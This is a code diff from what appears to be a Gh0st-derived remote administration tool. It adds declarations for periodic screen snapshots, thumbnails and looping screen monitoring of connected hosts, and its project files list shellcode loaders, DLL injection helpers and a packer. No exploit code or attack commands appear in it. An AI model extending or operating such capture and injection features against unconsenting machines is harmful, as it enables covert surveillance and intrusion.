Mprintf("语言: %s, 目录: %s\n", lang.c_str(), langDir.c_str());
|
||||||
Mprintf("语言包目录已经指定[%s], 语言数量: %d\n", langDir.c_str(), g_Lang.GetLanguageCount());
|
|
||||||
}
|
|
||||||
|
|
||||||
// 创建并显示启动画面
|
// 创建并显示启动画面
|
||||||
CSplashDlg* pSplash = new CSplashDlg();
|
CSplashDlg* pSplash = new CSplashDlg();
|
||||||
|
|||||||
Binary file not shown.
File diff suppressed because it is too large
Load Diff
@@ -87,6 +87,9 @@ bool IsDateGreaterOrEqual(const char* date1, const char* date2);
|
|||||||
// V2 文件传输协议分界日期(>= 此日期的客户端支持 V2)
|
// V2 文件传输协议分界日期(>= 此日期的客户端支持 V2)
|
||||||
#define FILE_TRANSFER_V2_DATE "Feb 27 2026"
|
#define FILE_TRANSFER_V2_DATE "Feb 27 2026"
|
||||||
|
|
||||||
|
// 大于此日期客户端支持更大的内存DLL
|
||||||
|
#define DLL_8MB_DATE "Apr 12 2026"
|
||||||
|
|
||||||
// 前向声明
|
// 前向声明
|
||||||
class CMy2015RemoteDlg;
|
class CMy2015RemoteDlg;
|
||||||
extern CMy2015RemoteDlg* g_2015RemoteDlg;
|
extern CMy2015RemoteDlg* g_2015RemoteDlg;
|
||||||
@@ -96,6 +99,14 @@ extern CMy2015RemoteDlg* g_2015RemoteDlg;
|
|||||||
// 注意:m_bEnableFileV2 是 CMy2015RemoteDlg 的成员变量
|
// 注意:m_bEnableFileV2 是 CMy2015RemoteDlg 的成员变量
|
||||||
bool SupportsFileTransferV2(context* ctx);
|
bool SupportsFileTransferV2(context* ctx);
|
||||||
|
|
||||||
|
// 获取客户端协议字符串编码 (CP_UTF8 或 936)。
|
||||||
|
// 适用于任意 context:
|
||||||
|
// - 主连接:直接读自身的 CAPABILITIES
|
||||||
|
// - 子连接(KeyBoardDlg / SystemDlg / FileManagerDlg 等):CAPABILITIES 为空,
|
||||||
|
// 通过 peer IP 查 m_HostList 中的主连接获取能力位
|
||||||
|
// 找不到主连接或老客户端:默认 CP936(覆盖 95% 简中/英语 ASCII 老客户端)。
|
||||||
|
UINT GetClientEncoding(context* ctx);
|
||||||
|
|
||||||
// 服务端待续传的传输信息
|
// 服务端待续传的传输信息
|
||||||
struct PendingTransferV2 {
|
struct PendingTransferV2 {
|
||||||
uint64_t clientID;
|
uint64_t clientID;
|
||||||
@@ -215,13 +226,88 @@ public:
|
|||||||
MasterSettings m_settings;
|
MasterSettings m_settings;
|
||||||
static BOOL CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
|
static BOOL CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
|
||||||
static BOOL CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
|
static BOOL CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
|
||||||
BOOL AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired = nullptr);
|
int AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired = nullptr);
|
||||||
BOOL AuthorizeClientV2(context* ctx, const std::string& sn, const std::string& passcode, const std::string& hmacV2, bool* outExpired = nullptr);
|
int AuthorizeClientV2(context* ctx, const std::string& sn, const std::string& passcode, const std::string& hmacV2, bool* outExpired = nullptr);
|
||||||
VOID MessageHandle(CONTEXT_OBJECT* ContextObject);
|
VOID MessageHandle(CONTEXT_OBJECT* ContextObject);
|
||||||
VOID SendSelectedCommand(PBYTE szBuffer, ULONG ulLength, contextModifier cb = NULL, void* user=NULL);
|
VOID SendSelectedCommand(PBYTE szBuffer, ULONG ulLength, contextModifier cb = NULL, void* user=NULL);
|
||||||
VOID SendAllCommand(PBYTE szBuffer, ULONG ulLength);
|
VOID SendAllCommand(PBYTE szBuffer, ULONG ulLength);
|
||||||
// 显示用户上线信息
|
// 显示用户上线信息
|
||||||
CWnd* m_pFloatingTip = nullptr;
|
CWnd* m_pFloatingTip = nullptr;
|
||||||
|
// 屏幕预览:m_pFloatingTip 实际是 CPreviewTipWnd 时这里有同一指针的有类型副本,
|
||||||
|
// 用于在收到 JPEG 后调用 SetImageFromJpeg;DeletePopupWindow 释放时一并置空。
|
||||||
|
class CPreviewTipWnd* m_pPreviewTip = nullptr;
|
||||||
|
WORD m_PreviewReqId = 0; // 当前期待的预览响应序号;0 = 无待响应
|
||||||
|
|
||||||
|
// 屏幕预览响应消息载荷(PostMessage WM_PREVIEW_RESPONSE 的 LPARAM 指向它)。
|
||||||
|
// IO 线程在 MessageHandle/TOKEN_SCREEN_PREVIEW_RSP 分支堆分配,UI 线程消费后释放。
|
||||||
|
// 把 clientId 放进来是为了:1) 循环快照场景按 clientId 路由到目标窗口;
|
||||||
|
// 2) 避免依赖 WPARAM —— 32 位 Windows 上 WPARAM 是 32 位,截 64 位 clientID。
|
||||||
|
struct PreviewRspMsg {
|
||||||
|
uint64_t clientId;
|
||||||
|
std::vector<BYTE> packet;
|
||||||
|
};
|
||||||
|
|
||||||
|
// "播放快照"循环模式:每个表项对应一台主机的浮窗 + 调度状态。
|
||||||
|
// 仅 UI 线程访问(菜单 / OnTimer / OnPreviewResponse / OnUserOfflineMsg /
|
||||||
|
// OnLoopTipDestroyed / Release),不加锁;context* 走 FindHost 在 m_cs 下取。
|
||||||
|
struct LoopTipEntry {
|
||||||
|
class CPreviewTipWnd* tip = nullptr;
|
||||||
|
WORD expectedReqId = 0; // 上次发请求时写入;响应时校验
|
||||||
|
WORD maxWidth = 480;
|
||||||
|
BYTE jpegQuality = 70;
|
||||||
|
};
|
||||||
|
std::map<uint64_t, LoopTipEntry> m_LoopTips;
|
||||||
|
WORD m_LoopReqId = 0; // 循环快照专用 reqId;与 m_PreviewReqId 解耦
|
||||||
|
static const int LOOP_INTERVAL_MS = 3000; // 循环快照间隔(暂定 3 秒)
|
||||||
|
|
||||||
|
// 循环快照帮助函数(仅 UI 线程调用)
|
||||||
|
void OpenLoopTip(class context* ctx, CPoint anchor);
|
||||||
|
void CloseLoopTip(uint64_t clientID);
|
||||||
|
void CloseAllLoopTips();
|
||||||
|
void TickLoopTips();
|
||||||
|
void SendLoopRequest(uint64_t clientID, LoopTipEntry& entry);
|
||||||
|
afx_msg LRESULT OnLoopTipDestroyed(WPARAM wParam, LPARAM lParam);
|
||||||
|
|
||||||
|
// ===== 主机列表缩略图(在线列表第 0 列) =====
|
||||||
|
// 设计文档:纯主控端 UI 偏好,不进 MasterSettings 协议包。持久化走 THIS_CFG
|
||||||
|
// [thumbnail] 节。所有运行时状态仅 UI 线程访问。
|
||||||
|
struct ThumbnailSettings {
|
||||||
|
bool Enabled = true;
|
||||||
|
int RefreshIntervalSec = 30; // 单台主机的刷新周期
|
||||||
|
int ThumbWidth = 60; // 列表内显示宽度(高 = 9w/16)
|
||||||
|
int NetReqWidth = 120; // 网络请求的源宽(HiDPI 余量,>= ThumbWidth)
|
||||||
|
int JpegQuality = 60; // 1..100
|
||||||
|
};
|
||||||
|
ThumbnailSettings m_ThumbnailCfg;
|
||||||
|
|
||||||
|
struct ThumbCacheEntry {
|
||||||
|
HBITMAP bmp = nullptr; // 预先缩到显示尺寸的 24bpp DIB,BitBlt 友好
|
||||||
|
int w = 0;
|
||||||
|
int h = 0;
|
||||||
|
};
|
||||||
|
std::map<uint64_t, ThumbCacheEntry> m_HostThumbnails; // 缩略图缓存
|
||||||
|
std::map<uint64_t, DWORD> m_ThumbNextDueTick; // 下次到期 GetTickCount() 时间
|
||||||
|
std::set<uint64_t> m_ThumbnailPending; // 在飞的 clientId 集合
|
||||||
|
WORD m_ThumbnailReqId = 0; // 缩略图专用 reqId(与 m_PreviewReqId / m_LoopReqId 解耦)
|
||||||
|
|
||||||
|
// 行高占位 ImageList:CListCtrl 没有 SetRowHeight,标准做法是装一个 1×rowH 的
|
||||||
|
// 空 ImageList 强行撑高行。关闭缩略图时换回 1×default(或 detach),让行高回缩。
|
||||||
|
CImageList m_thumbRowHeightImgList;
|
||||||
|
int m_thumbRowHeightApplied = 0; // 已应用的行高(避免重复创建)
|
||||||
|
|
||||||
|
// 一次性配置应用入口:加载/重新加载 m_ThumbnailCfg 后调用,处理:
|
||||||
|
// - 启动/停止 TIMER_THUMBNAIL_REFRESH
|
||||||
|
// - 列宽 / 行高 调整
|
||||||
|
// - 尺寸变化时丢弃旧缓存 HBITMAP
|
||||||
|
void ApplyThumbnailSettings();
|
||||||
|
void LoadThumbnailSettingsFromCfg(); // 从 THIS_CFG 读到 m_ThumbnailCfg
|
||||||
|
void SaveThumbnailSettingsToCfg() const; // m_ThumbnailCfg 落盘到 THIS_CFG
|
||||||
|
void TickThumbnailRefresh(); // TIMER_THUMBNAIL_REFRESH 主循环
|
||||||
|
void SendThumbnailRequest(class context* ctx);// 发一次缩略图请求
|
||||||
|
void CacheThumbnail(uint64_t clientID, const BYTE* jpeg, size_t bytes);
|
||||||
|
void ClearThumbnailCacheEntry(uint64_t clientID);
|
||||||
|
void ClearAllThumbnailCache();
|
||||||
|
void InvalidateHostRow(uint64_t clientID); // 仅重绘对应行
|
||||||
// 记录 clientID(心跳更新)
|
// 记录 clientID(心跳更新)
|
||||||
std::set<uint64_t> m_DirtyClients;
|
std::set<uint64_t> m_DirtyClients;
|
||||||
// 待处理的上线/下线事件(批量更新减少闪烁)
|
// 待处理的上线/下线事件(批量更新减少闪烁)
|
||||||
@@ -237,6 +323,12 @@ public:
|
|||||||
std::string m_v2KeyPath; // V2 密钥文件路径
|
std::string m_v2KeyPath; // V2 密钥文件路径
|
||||||
void RebuildFilteredIndices(); // 重建过滤索引
|
void RebuildFilteredIndices(); // 重建过滤索引
|
||||||
context* GetContextByListIndex(int iItem); // 根据列表索引获取 context(考虑分组过滤)
|
context* GetContextByListIndex(int iItem); // 根据列表索引获取 context(考虑分组过滤)
|
||||||
|
|
||||||
|
// 启发式 ID 迁移:新客户端首次上线时,按 (ComputerName, ProgramPath) 在 m_ClientMap
|
||||||
|
// 里找老条目,若唯一匹配则把元数据(备注/位置/级别/授权)拷贝到 newId。
|
||||||
|
// 多于一个候选时保守跳过,写日志让运维手动处理,避免误聚合。
|
||||||
|
// 返回 true 表示有迁移发生(调用方需触发 dat 文件落盘)。
|
||||||
|
bool TryMigrateClientMetadata(uint64_t newId, const CString& pcName, const CString& exePath);
|
||||||
void LoadListData(const std::string& group);
|
void LoadListData(const std::string& group);
|
||||||
void DeletePopupWindow(BOOL bForce = FALSE);
|
void DeletePopupWindow(BOOL bForce = FALSE);
|
||||||
void CheckHeartbeat();
|
void CheckHeartbeat();
|
||||||
@@ -255,6 +347,7 @@ public:
|
|||||||
CGridDialog * m_gridDlg = NULL;
|
CGridDialog * m_gridDlg = NULL;
|
||||||
std::vector<DllInfo*> m_DllList;
|
std::vector<DllInfo*> m_DllList;
|
||||||
context* FindHostByIP(const std::string& ip);
|
context* FindHostByIP(const std::string& ip);
|
||||||
|
uint64_t FindClientIDByIP(const std::string& ip); // 线程安全:在锁内获取ID
|
||||||
void InjectTinyRunDll(const std::string& ip, int pid);
|
void InjectTinyRunDll(const std::string& ip, int pid);
|
||||||
NOTIFYICONDATA m_Nid;
|
NOTIFYICONDATA m_Nid;
|
||||||
HANDLE m_hExit;
|
HANDLE m_hExit;
|
||||||
@@ -267,7 +360,7 @@ public:
|
|||||||
bool IsDllRequestLimited(const std::string& ip);
|
bool IsDllRequestLimited(const std::string& ip);
|
||||||
void RecordDllRequest(const std::string& ip);
|
void RecordDllRequest(const std::string& ip);
|
||||||
CMenu m_MainMenu;
|
CMenu m_MainMenu;
|
||||||
CBitmap m_bmOnline[54]; // 21 original + 4 context menu + 2 tray menu + 23 main menu + 3 new menu icons
|
CBitmap m_bmOnline[55]; // 21 original + 4 context menu + 2 tray menu + 23 main menu + 3 new menu icons + 1 snapshot
|
||||||
uint64_t m_superID;
|
uint64_t m_superID;
|
||||||
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
||||||
FileTransformCmd m_CmdList;
|
FileTransformCmd m_CmdList;
|
||||||
@@ -275,6 +368,7 @@ public:
|
|||||||
CDialogBase* GetRemoteWindow(CDialogBase* dlg);
|
CDialogBase* GetRemoteWindow(CDialogBase* dlg);
|
||||||
void RemoveRemoteWindow(HWND wnd);
|
void RemoveRemoteWindow(HWND wnd);
|
||||||
void CloseRemoteDesktopByClientID(uint64_t clientID);
|
void CloseRemoteDesktopByClientID(uint64_t clientID);
|
||||||
|
void CloseWebRemoteDesktopByClientID(uint64_t clientID); // Only close Web session dialog
|
||||||
CDialogBase* m_pActiveSession = nullptr; // 当前活动会话窗口指针 / NULL 表示无
|
CDialogBase* m_pActiveSession = nullptr; // 当前活动会话窗口指针 / NULL 表示无
|
||||||
void UpdateActiveRemoteSession(CDialogBase* sess);
|
void UpdateActiveRemoteSession(CDialogBase* sess);
|
||||||
CDialogBase* GetActiveRemoteSession();
|
CDialogBase* GetActiveRemoteSession();
|
||||||
@@ -342,7 +436,13 @@ public:
|
|||||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||||
afx_msg void OnExitSizeMove();
|
afx_msg void OnExitSizeMove();
|
||||||
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
|
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
|
||||||
afx_msg void OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult); // 虚拟列表数据回调
|
afx_msg void OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult); // 虚拟列表数据回调(A 版,备用)
|
||||||
|
afx_msg void OnGetDispInfoW(NMHDR* pNMHDR, LRESULT* pResult); // 虚拟列表数据回调(W 版,启用 LVM_SETUNICODEFORMAT 后实际触发的)
|
||||||
|
|
||||||
|
// "活动窗口"列的宽字符旁路表:clientID -> Unicode 标题。
|
||||||
|
// 协议字段 hb.ActiveWnd 已约定为 UTF-8(老客户端 GBK 回退),由服务端解码后存入。
|
||||||
|
// 由 m_cs 保护。
|
||||||
|
std::map<uint64_t, std::wstring> m_ActiveWndW;
|
||||||
afx_msg void OnOnlineMessage();
|
afx_msg void OnOnlineMessage();
|
||||||
afx_msg void OnOnlineDelete();
|
afx_msg void OnOnlineDelete();
|
||||||
afx_msg void OnOnlineUpdate();
|
afx_msg void OnOnlineUpdate();
|
||||||
@@ -412,6 +512,14 @@ public:
|
|||||||
afx_msg void OnWhatIsThis();
|
afx_msg void OnWhatIsThis();
|
||||||
afx_msg void OnOnlineAuthorize();
|
afx_msg void OnOnlineAuthorize();
|
||||||
void OnListClick(NMHDR* pNMHDR, LRESULT* pResult);
|
void OnListClick(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
|
// 单击:缩略图列(COL_THUMBNAIL)命中时弹出循环监视窗口;其余列保持默认行为
|
||||||
|
afx_msg void OnListSingleClick(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
|
// 屏幕预览:依 ctx 最近 RTT + 屏幕分辨率挑参数;4K/超宽屏在 LAN 档自适应放大
|
||||||
|
void ChooseScreenPreviewParams(context* ctx, WORD& maxWidth, BYTE& jpegQuality) const;
|
||||||
|
// 发起预览请求;reqId 应与 m_PreviewReqId 同步
|
||||||
|
void SendScreenPreviewRequest(context* ctx, WORD reqId, WORD maxWidth, BYTE jpegQuality);
|
||||||
|
// 收到 TOKEN_SCREEN_PREVIEW_RSP(在主线程处理)
|
||||||
|
afx_msg LRESULT OnPreviewResponse(WPARAM wParam, LPARAM lParam);
|
||||||
afx_msg void OnOnlineUnauthorize();
|
afx_msg void OnOnlineUnauthorize();
|
||||||
afx_msg void OnToolRequestAuth();
|
afx_msg void OnToolRequestAuth();
|
||||||
afx_msg LRESULT OnPasswordCheck(WPARAM wParam, LPARAM lParam);
|
afx_msg LRESULT OnPasswordCheck(WPARAM wParam, LPARAM lParam);
|
||||||
@@ -428,6 +536,8 @@ public:
|
|||||||
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
|
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
afx_msg void OnOnlineRunAsAdmin();
|
afx_msg void OnOnlineRunAsAdmin();
|
||||||
afx_msg LRESULT OnShowErrMessage(WPARAM wParam, LPARAM lParam);
|
afx_msg LRESULT OnShowErrMessage(WPARAM wParam, LPARAM lParam);
|
||||||
|
afx_msg LRESULT OnTrialRttAbuse(WPARAM wParam, LPARAM lParam);
|
||||||
|
afx_msg LRESULT OnTrialWanIpAbuse(WPARAM wParam, LPARAM lParam);
|
||||||
afx_msg void OnMainWallet();
|
afx_msg void OnMainWallet();
|
||||||
afx_msg void OnMainNetwork();
|
afx_msg void OnMainNetwork();
|
||||||
afx_msg void OnToolRcedit();
|
afx_msg void OnToolRcedit();
|
||||||
@@ -462,6 +572,7 @@ public:
|
|||||||
afx_msg void OnParamEnableLog();
|
afx_msg void OnParamEnableLog();
|
||||||
afx_msg void OnParamPrivacyWallpaper();
|
afx_msg void OnParamPrivacyWallpaper();
|
||||||
afx_msg void OnParamFileV2();
|
afx_msg void OnParamFileV2();
|
||||||
|
afx_msg void OnParamThumbnailPreview();
|
||||||
afx_msg void OnParamRunAsUser();
|
afx_msg void OnParamRunAsUser();
|
||||||
void ProxyClientTcpPort(bool isStandard, bool autoRun=false);
|
void ProxyClientTcpPort(bool isStandard, bool autoRun=false);
|
||||||
afx_msg void OnProxyPort();
|
afx_msg void OnProxyPort();
|
||||||
@@ -488,4 +599,5 @@ public:
|
|||||||
afx_msg void OnCancelShare();
|
afx_msg void OnCancelShare();
|
||||||
afx_msg void OnWebRemoteControl();
|
afx_msg void OnWebRemoteControl();
|
||||||
afx_msg void OnProxyPortAutorun();
|
afx_msg void OnProxyPortAutorun();
|
||||||
|
afx_msg void OnScreenpreviewLoop();
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -104,6 +104,7 @@
|
|||||||
<OpenMPSupport>false</OpenMPSupport>
|
<OpenMPSupport>false</OpenMPSupport>
|
||||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||||
|
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Windows</SubSystem>
|
<SubSystem>Windows</SubSystem>
|
||||||
@@ -138,6 +139,7 @@
|
|||||||
<OpenMPSupport>false</OpenMPSupport>
|
<OpenMPSupport>false</OpenMPSupport>
|
||||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||||
|
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Windows</SubSystem>
|
<SubSystem>Windows</SubSystem>
|
||||||
@@ -172,6 +174,7 @@
|
|||||||
<OpenMPSupport>false</OpenMPSupport>
|
<OpenMPSupport>false</OpenMPSupport>
|
||||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||||
|
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Windows</SubSystem>
|
<SubSystem>Windows</SubSystem>
|
||||||
@@ -208,6 +211,7 @@
|
|||||||
<OpenMPSupport>false</OpenMPSupport>
|
<OpenMPSupport>false</OpenMPSupport>
|
||||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||||
|
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Windows</SubSystem>
|
<SubSystem>Windows</SubSystem>
|
||||||
@@ -231,6 +235,7 @@
|
|||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<None Include="..\..\linux\ghost" />
|
<None Include="..\..\linux\ghost" />
|
||||||
|
<None Include="..\..\macos\ghost" />
|
||||||
<None Include="..\..\Release\ghost.exe" />
|
<None Include="..\..\Release\ghost.exe" />
|
||||||
<None Include="..\..\Release\SCLoader.exe" />
|
<None Include="..\..\Release\SCLoader.exe" />
|
||||||
<None Include="..\..\Release\ServerDll.dll" />
|
<None Include="..\..\Release\ServerDll.dll" />
|
||||||
@@ -241,6 +246,8 @@
|
|||||||
<None Include="..\..\x64\Release\ServerDll.dll" />
|
<None Include="..\..\x64\Release\ServerDll.dll" />
|
||||||
<None Include="..\..\x64\Release\TestRun.exe" />
|
<None Include="..\..\x64\Release\TestRun.exe" />
|
||||||
<None Include="..\..\x64\Release\TinyRun.dll" />
|
<None Include="..\..\x64\Release\TinyRun.dll" />
|
||||||
|
<None Include="lang\en_US.ini" />
|
||||||
|
<None Include="lang\zh_TW.ini" />
|
||||||
<None Include="res\1.cur" />
|
<None Include="res\1.cur" />
|
||||||
<None Include="res\2.cur" />
|
<None Include="res\2.cur" />
|
||||||
<None Include="res\2015Remote.ico" />
|
<None Include="res\2015Remote.ico" />
|
||||||
@@ -250,6 +257,7 @@
|
|||||||
<None Include="res\3rd\rcedit.exe" />
|
<None Include="res\3rd\rcedit.exe" />
|
||||||
<None Include="res\3rd\SCLoader_32.exe" />
|
<None Include="res\3rd\SCLoader_32.exe" />
|
||||||
<None Include="res\3rd\SCLoader_64.exe" />
|
<None Include="res\3rd\SCLoader_64.exe" />
|
||||||
|
<None Include="res\3rd\TerminalModule_x64.dll" />
|
||||||
<None Include="res\3rd\upx.exe" />
|
<None Include="res\3rd\upx.exe" />
|
||||||
<None Include="res\4.cur" />
|
<None Include="res\4.cur" />
|
||||||
<None Include="res\arrow.cur" />
|
<None Include="res\arrow.cur" />
|
||||||
@@ -338,6 +346,7 @@
|
|||||||
<ClInclude Include="FeatureLimitsDlg.h" />
|
<ClInclude Include="FeatureLimitsDlg.h" />
|
||||||
<ClInclude Include="FrpsForSubDlg.h" />
|
<ClInclude Include="FrpsForSubDlg.h" />
|
||||||
<ClInclude Include="PluginSettingsDlg.h" />
|
<ClInclude Include="PluginSettingsDlg.h" />
|
||||||
|
<ClInclude Include="PreviewTipWnd.h" />
|
||||||
<ClInclude Include="TriggerSettingsDlg.h" />
|
<ClInclude Include="TriggerSettingsDlg.h" />
|
||||||
<ClInclude Include="proxy\HPSocket.h" />
|
<ClInclude Include="proxy\HPSocket.h" />
|
||||||
<ClInclude Include="proxy\HPTypeDef.h" />
|
<ClInclude Include="proxy\HPTypeDef.h" />
|
||||||
@@ -388,6 +397,7 @@
|
|||||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<ClCompile Include="PluginSettingsDlg.cpp" />
|
<ClCompile Include="PluginSettingsDlg.cpp" />
|
||||||
|
<ClCompile Include="PreviewTipWnd.cpp" />
|
||||||
<ClCompile Include="TriggerSettingsDlg.cpp" />
|
<ClCompile Include="TriggerSettingsDlg.cpp" />
|
||||||
<ClCompile Include="WebService.cpp" />
|
<ClCompile Include="WebService.cpp" />
|
||||||
<ClCompile Include="..\..\client\MemoryModule.c">
|
<ClCompile Include="..\..\client\MemoryModule.c">
|
||||||
@@ -552,6 +562,7 @@
|
|||||||
<Image Include="res\Bitmap\Settings.bmp" />
|
<Image Include="res\Bitmap\Settings.bmp" />
|
||||||
<Image Include="res\Bitmap\Share.bmp" />
|
<Image Include="res\Bitmap\Share.bmp" />
|
||||||
<Image Include="res\Bitmap\Show.bmp" />
|
<Image Include="res\Bitmap\Show.bmp" />
|
||||||
|
<Image Include="res\Bitmap\Snapshot.bmp" />
|
||||||
<Image Include="res\Bitmap\Shutdown.bmp" />
|
<Image Include="res\Bitmap\Shutdown.bmp" />
|
||||||
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
|
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
|
||||||
<Image Include="res\Bitmap\Trial.bmp" />
|
<Image Include="res\Bitmap\Trial.bmp" />
|
||||||
@@ -579,6 +590,7 @@
|
|||||||
<Image Include="res\password.ico" />
|
<Image Include="res\password.ico" />
|
||||||
<Image Include="res\proxifler.ico" />
|
<Image Include="res\proxifler.ico" />
|
||||||
<Image Include="res\screen.ico" />
|
<Image Include="res\screen.ico" />
|
||||||
|
<Image Include="res\Snapshot.ico" />
|
||||||
<Image Include="res\system.ico" />
|
<Image Include="res\system.ico" />
|
||||||
<Image Include="res\toolbar1.bmp" />
|
<Image Include="res\toolbar1.bmp" />
|
||||||
<Image Include="res\toolbar2.bmp" />
|
<Image Include="res\toolbar2.bmp" />
|
||||||
@@ -589,6 +601,11 @@
|
|||||||
<Image Include="res\update.bmp" />
|
<Image Include="res\update.bmp" />
|
||||||
<Image Include="res\webcam.ico" />
|
<Image Include="res\webcam.ico" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="res\web\xterm.min.js" />
|
||||||
|
<None Include="res\web\xterm.css" />
|
||||||
|
<None Include="res\web\fit.min.js" />
|
||||||
|
</ItemGroup>
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
<ImportGroup Label="ExtensionTargets">
|
<ImportGroup Label="ExtensionTargets">
|
||||||
</ImportGroup>
|
</ImportGroup>
|
||||||
|
|||||||
@@ -81,6 +81,7 @@
|
|||||||
<ClCompile Include="WebService.cpp" />
|
<ClCompile Include="WebService.cpp" />
|
||||||
<ClCompile Include="msvc_compat.c" />
|
<ClCompile Include="msvc_compat.c" />
|
||||||
<ClCompile Include="PluginSettingsDlg.cpp" />
|
<ClCompile Include="PluginSettingsDlg.cpp" />
|
||||||
|
<ClCompile Include="PreviewTipWnd.cpp" />
|
||||||
<ClCompile Include="TriggerSettingsDlg.cpp" />
|
<ClCompile Include="TriggerSettingsDlg.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
@@ -185,6 +186,7 @@
|
|||||||
<ClInclude Include="WebPage.h" />
|
<ClInclude Include="WebPage.h" />
|
||||||
<ClInclude Include="SimpleWebSocket.h" />
|
<ClInclude Include="SimpleWebSocket.h" />
|
||||||
<ClInclude Include="PluginSettingsDlg.h" />
|
<ClInclude Include="PluginSettingsDlg.h" />
|
||||||
|
<ClInclude Include="PreviewTipWnd.h" />
|
||||||
<ClInclude Include="TriggerSettingsDlg.h" />
|
<ClInclude Include="TriggerSettingsDlg.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
@@ -210,6 +212,7 @@
|
|||||||
<Image Include="res\password.ico" />
|
<Image Include="res\password.ico" />
|
||||||
<Image Include="res\proxifler.ico" />
|
<Image Include="res\proxifler.ico" />
|
||||||
<Image Include="res\screen.ico" />
|
<Image Include="res\screen.ico" />
|
||||||
|
<Image Include="res\Snapshot.ico" />
|
||||||
<Image Include="res\system.ico" />
|
<Image Include="res\system.ico" />
|
||||||
<Image Include="res\toolbar1.bmp" />
|
<Image Include="res\toolbar1.bmp" />
|
||||||
<Image Include="res\toolbar2.bmp" />
|
<Image Include="res\toolbar2.bmp" />
|
||||||
@@ -243,6 +246,7 @@
|
|||||||
<Image Include="res\Bitmap\Logout.bmp" />
|
<Image Include="res\Bitmap\Logout.bmp" />
|
||||||
<Image Include="res\Bitmap\PortProxyStd.bmp" />
|
<Image Include="res\Bitmap\PortProxyStd.bmp" />
|
||||||
<Image Include="res\Bitmap\Show.bmp" />
|
<Image Include="res\Bitmap\Show.bmp" />
|
||||||
|
<Image Include="res\Bitmap\Snapshot.bmp" />
|
||||||
<Image Include="res\Bitmap\Exit.bmp" />
|
<Image Include="res\Bitmap\Exit.bmp" />
|
||||||
<Image Include="res\Bitmap\Settings.bmp" />
|
<Image Include="res\Bitmap\Settings.bmp" />
|
||||||
<Image Include="res\Bitmap\Wallet.bmp" />
|
<Image Include="res\Bitmap\Wallet.bmp" />
|
||||||
@@ -323,6 +327,10 @@
|
|||||||
<None Include="res\3rd\rcedit.exe" />
|
<None Include="res\3rd\rcedit.exe" />
|
||||||
<None Include="res\3rd\SCLoader_32.exe" />
|
<None Include="res\3rd\SCLoader_32.exe" />
|
||||||
<None Include="res\3rd\SCLoader_64.exe" />
